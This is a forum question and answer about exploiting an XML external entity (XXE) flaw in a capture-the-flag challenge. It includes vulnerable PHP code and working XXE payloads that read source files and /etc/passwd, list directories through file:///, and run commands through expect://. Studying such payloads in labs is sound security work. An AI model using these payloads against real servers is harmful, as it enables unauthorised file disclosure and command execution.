I have come across XXE on a CTF a while ago and I can't get my head around where to go from where I am.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> 

This will give me the source code for the single page that the site has. I can also grab /etc/passwd, not shadow though.

The source code of the page absolutely doesn't give anything away. No JS to speak of and the only PHP is below:

if (isset($_GET["xml"])) {
  libxml_disable_entity_loader (false);

  $document = new DOMDocument();
  $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
  $parsed = simplexml_import_dom($document);

  echo $parsed->content;

My question is whether there is some way to read the contents of a directory or move on from where I currently am?

1 Answer 1


For OWASP webgoat (java based CTF box), the following XML leads to listing of the /etc folder

<?xml version="1.0"?>
<!DOCTYPE comment[<!ENTITY xxe SYSTEM "file:///etc/" >]>
<comment><text>file:///etc/ &xxe;</text></comment>

SYSTEM "file:///" leads to listing of root folder

For PHP XML Parsers whereby expect module is loaded, SYSTEM "expect://id" for user id and SYSTEM "expect://ls" for listing folder can be used. Note that expect does not support spaces and some characters well

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .